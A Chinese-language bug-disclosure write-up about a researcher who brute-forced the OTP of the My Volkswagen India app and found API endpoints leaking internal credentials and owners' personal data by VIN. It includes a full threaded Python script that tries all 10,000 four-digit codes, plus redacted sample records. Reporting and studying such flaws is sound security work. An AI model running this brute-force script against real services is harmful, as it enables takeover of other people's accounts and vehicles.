事件起因
2024 年,白帽小哥购买了一辆二手车,作为一名技术爱好者,他便迫不及待地想探索它的连接功能。
停车后,小哥立即在手机上安装了 My Volkswagen(ŠKODA Auto Volkswagen India Pvt Ltd)应用程序。
在设置过程中,APP 要求输入汽车的车架号,然后要求一个四位数的 OTP——小哥原以为获取那个代码会很容易,结果并不是。
好奇心来袭
OTP 发送到了前车主的手机上,小哥联系了汽车经销商获得了前车主的联系方式,但小哥却无法通过电话联系到前车主,小哥给前车主发了一条短信,耐心等待了 1 个小时后,却没有收到任何回复。
小哥尝试输入一些随机代码,看是否能够奏效,然后均告失败。小哥大约进行了 10-15 次的尝试——APP 并没有因为多次尝试而进行锁定:如果暴力破解 10000 种组合会怎么样?会被锁定吗?说干就干!
发现过程
配置好 iPhone 的 Wi-Fi 代理并安装 Burp 的 CA 证书后,白帽小哥使用一个随机的 OTP 发起了一个请求,很快便能够查看 APP 通过互联网发送的所有请求。
在浏览这些请求寻找 OTP 时,白帽小哥发现了一些其它有趣的 API 调用,这些将在后文谈到。
一旦找到 OTP 请求,小哥便尝试对 OTP 字段进行爆破,为了方便,小哥编写了一个 Python 脚本:
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed
# API endpoint
url = <REDACTED>
# Headers for the request
headers = {
"Host": <REDACTED>,
"Accept": "*/*",
"Content-Type": "application/json",
"Authorization": <REDACTED>
}
# Data template
data_template = {
"brand": "VW",
"installationID": <REDACTED>,
"userID": <REDACTED>,
"vehicleID": <REDACTED>,
"otp": "5555" # OTP placeholder
}
# Function to send a single request
def send_request(otp):
otp_str = f"{otp:04}" # Format OTP as 4 digits
data = data_template.copy()
data["otp"] = otp_str
try:
response = requests.post(url, json=data, headers=headers)
result = f"OTP: {otp_str} | Response Code: {response.status_code} | Body: {response.text}"
except requests.exceptions.RequestException as e:
result = f"OTP: {otp_str} | Error: {e}"
return result
# Concurrent execution
def main():
max_workers = 100 # Number of concurrent threads
with ThreadPoolExecutor(max_workers=max_workers) as executor, open("responses.txt", "w") as file:
# Submit tasks for each OTP
futures = {executor.submit(send_request, otp): otp for otp in range(10000)}
for future in as_completed(futures):
result = future.result()
# Log to console for monitoring
print(result)
# Write result to file
file.write(result + "\n")
if __name__ == "__main__":
main()
几秒钟后,脚本找到了一个有效的 OTP,APP 也成功的显示了小哥的车子:
小哥成功访问了他的二手汽车,但这让小哥开始思考,APP 可能还有哪些安全漏洞?回到 BurpSuite,检查了各种 API 调用后,小哥发现了一些严重问题…
漏洞 1:明文显示的内部凭证
一个 API 端点以明文形式暴露了各种内部服务的密码、令牌和用户名,这包括内部应用程序、支付处理细节,甚至包括像 Salesforce 这样的 CRM 工具。
漏洞2:通过 VIN 泄露车主个人信息
另一个 API 端点可以通过 VIN 号码泄露即可访问的汽车所有服务和维护套餐。
每项服务套餐包含了大量的客户信息,包括姓名、电话号码、邮寄地址、电子邮件地址、车辆详细信息(型号、颜色、车牌号、底盘号、发动机号)、有效的服务合同、购买日期、支付金额等。
通过此端点可访问的数据的示例条目:
{
"old": {
"VALID_CONTRACTS_AND_INTREM_CONTRACTS_VW": {
"CONTRACT_ID": <REDACTED>,
"PRODUCT_NAME": <REDACTED>,
"PRODUCT_DESC": <REDACTED>,
"PAYMENT_STATUS": null,
"PRODUCT_ID": <REDACTED>,
"MST_VAS_TYPE_ID": <REDACTED>,
"PLAN_ID": <REDACTED>,
"INVOICE_NUMBER": <REDACTED>,
"DEALER_ID": <REDACTED>,
"DATE_OF_SALE": <REDACTED>,
"SELLER_ID": null,
"SELLER_TYPE": <REDACTED>,
"SOLD_BY": null,
"SOLD_TYPE": <REDACTED>,
"VALID_FROM_DATE": <REDACTED>,
"VALID_TILL_DATE": <REDACTED>,
"VALID_TILL_DISTANCE": null,
"IS_OWNERSHIP_CHANGED": null,
"STATUS": <REDACTED>,
"GENERAL_COMMENTS": null,
"IS_SHORTCLOSED": null,
"SHORTCLOSED_ON": null,
"SHORTCLOSED_COMMENTS": null,
"VIN": <REDACTED>,
"ENGINE_NUMBER": <REDACTED>,
"CHASSIS_NUMBER": <REDACTED>,
"REGD_NUMBER": <REDACTED>,
"ORDER_FROM": null,
"CURRENT_KM": null,
"MODEL": <REDACTED>,
"VARIANT": <REDACTED>,
"COLOR": null,
"SHADE": null,
"PUR_CITY": null,
"REGD_CITY": null,
"REGD_OWNER": <REDACTED>,
"USER_NAME": null,
"MOBILE": <REDACTED>,
"FAX": null,
"PHONE": null,
"EMAIL": <REDACTED>,
"ADDRESS_LINE1": <REDACTED>,
"ADDRESS_LINE2": null,
"CITY": <REDACTED>,
"PINCODE": <REDACTED>,
"CREATED_ON": <REDACTED>,
"CREATED_BY": <REDACTED>,
"MODIFIED_ON": <REDACTED>,
"MODIFIED_BY": <REDACTED>,
"PARTS_MRP": <REDACTED>,
"LABOR_COST": <REDACTED>,
"SWACH_BHARAT_CESS": null,
"KRISHI_KALYAN_CESS": null,
"SERVICETAX": null,
"SWACH_BHARAT_CESS_PERCENTAGE": null,
"KRISHI_KALYAN_CESS_PERCENTAGE": null,
"SERVICETAX_PERCENTAGE": null,
"CUSTOMER_GSTIN": null,
"CUSTOMER_GSTIN_AVAILABLE": null,
"SGST": <REDACTED>,
"IGST": <REDACTED>,
"CGST": <REDACTED>,
"CESS": <REDACTED>,
"GSTIN": null,
"SGST_PERCENTAGE": <REDACTED>,
"CGST_PERCENTAGE": <REDACTED>,
"IGST_PERCENTAGE": <REDACTED>,
"CESS_PERCENTAGE": <REDACTED>,
"STATE_NUM": <REDACTED>,
"RELATED_CONTRACT_ID": <REDACTED>,
"FUEL_TYPE": <REDACTED>,
"ODOMETER_READING": <REDACTED>,
"CONTRACT_STATUS": <REDACTED>,
"CERTIFICATE_NUMBER": null,
"MODEL_CODE": null,
"SCORE": null,
"UPLOAD_FILES": null,
"CREDIT_INVOICE_NUMBER": null,
"CREDIT_CREATED_ON": null,
"MODEL_YEAR": <REDACTED>,
"BRAND": <REDACTED>,
"EW_NUMBER": null,
"TYPE_OF_CONTRACT": <REDACTED>,
"COST_BEFORE_DEALER_DISCOUNT": null,
"DEALER_DISCOUNT_TYPE": null,
"DEALER_DISCOUNT_VALUE": null,
"COST_AFTER_DEALER_DISCOUNT": null,
"IRN_NUMBER": null,
"QR_CODE": null,
"IS_IRN_CANCELLED": null,
"DISS_K_QUERY_NO": null,
"RO_NUMBER": null,
"DIAGNOSTIC_PROTOCOL_ID": null,
"DAN_NUMBER": null,
"DAN_DATE": null,
"CARPORT_FILE_GEN": <REDACTED>,
"MODE_OF_PAYMENT": null,
"PRICE": "0.00"
}
}
}
漏洞 3:通过 VIN 访问车辆服务历史
另一处端点泄露了所有车辆在服务中心的所有服务历史和详细信息,同样,只需使用车辆识别码即可访问。
每个到访车间的记录都包括所执行的工作详情、客户的个人信息,甚至这些顾客的调查结果!
通过该端点可访问的数据的示例条目:
{
"attributes": {
"type": <REDACTED>,
"url": <REDACTED>
},
"Id": <REDACTED>,
"CreatedDate": <REDACTED>,
"VW_VIN__c": <REDACTED>,
"VW_Registration_No__c": <REDACTED>,
"RO_Closed_Date__c": <REDACTED>,
"RO_Type__c": <REDACTED>,
"Delivery_Date_Nadcon__c": <REDACTED>,
"Mileage_Out__c": 27670,
"Service_Dealer__c": <REDACTED>,
"Customer_Voice__c": <REDACTED>,
"Item_Amount__c": 9898.32,
"Labor_Amount__c": 3812.66,
"Amount__c": 13710.98,
"Selling_Dealer_Code__c": <REDACTED>,
"Post_Service_feedback_for_VW_HQ__c": false,
"VW_Brand__c": <REDACTED>,
"VW_RO_Number__c": <REDACTED>,
"Repair_Order__c": <REDACTED>,
"SA__c": <REDACTED>,
"RecordTypeId": <REDACTED>,
"Service_Dealer__r": {
"attributes": {
"type": <REDACTED>,
"url": <REDACTED>
},
"Id": <REDACTED>,
"Name": <REDACTED>
},
"Repair_Order__r": {
"attributes": {
"type": <REDACTED>,
"url": <REDACTED>
},
"Id": <REDACTED>,
"City__c": <REDACTED>,
"Discount__c": <REDACTED>,
"Discount_Amount__c": <REDACTED>,
"Pincode__c": <REDACTED>,
"State__c": <REDACTED>,
"Total_GST__c": <REDACTED>,
"address__c": <REDACTED>
}
}
],
"Overall_customer_satisfaction_score": <REDACTED>,
"Message": null,
"Dealer_PSF_Question_rated_less_than_4_star": {
"Will you need to revisit to a workshop because work carried-out incorrectly and/or incompletely in this visit.": No,
"Was your last workshop visit due to incorrect work done in an earlier visit": "No"
},
"customerMasterData": {
"attributes": {
"type": <REDACTED>,
"url": <REDACTED>
},
"Id": <REDACTED>,
"VW_CustomerName__c": <REDACTED>,
"VW_Primary_Email_ID__c": <REDACTED>,
"VW_Address_Line_1__c": <REDACTED>,
"Registered_Owner_Address__c": <REDACTED>,
"VW_Active__c": true,
"VW_DOB__c": <REDACTED>,
"VW_Permanent_Mobile_Number__c": <REDACTED>
}
其它 API 端点揭示了车辆远程信息处理数据,在某些情况下甚至包括“教育资格”和“驾驶执照”号码。
其中一个端点的样本数据:
{
"isSuccessful": true,
"messagecode": 200,
"message": "Success",
"userInfo": {
"userID": <REDACTED>,
"name": <REDACTED>,
"primaryMailID": <REDACTED>,
"secondaryMailID": <REDACTED>,
"primaryContact": <REDACTED>,
"secondaryContact": <REDACTED>,
"emergencyContact": <REDACTED>,
"familyType": <REDACTED>,
"dob": <REDACTED>,
"educationQualification": <REDACTED>,
"communicationAddress": <REDACTED>,
"otherCarDetail": <REDACTED>,
"drivingLicence": <REDACTED>,
"preferCommunicationModel": <REDACTED>
},
"loginDetails": {
"loginVia": "Email",
"otpVerifiedStatus": true
},
"notificationSettings": {
"brandVoiceAlert": false,
"serviceDueVoiceAlert": false,
"insuranceVoiceAlert": false,
"pucVoiceAlert": false,
"brandAlert": false,
"serviceDueAlert": false,
"insuranceAlert": false,
"pucAlert": false
}
漏洞时间线
小哥第一时间向大众公司报告了漏洞,漏洞时间线如下:
虽然没有获得任何赏金奖励,但小哥确实得到了一些更令人满意的东西 — 那就是有机会帮助一个真实的产品更安全。
下图是大众公司给小哥的感谢信: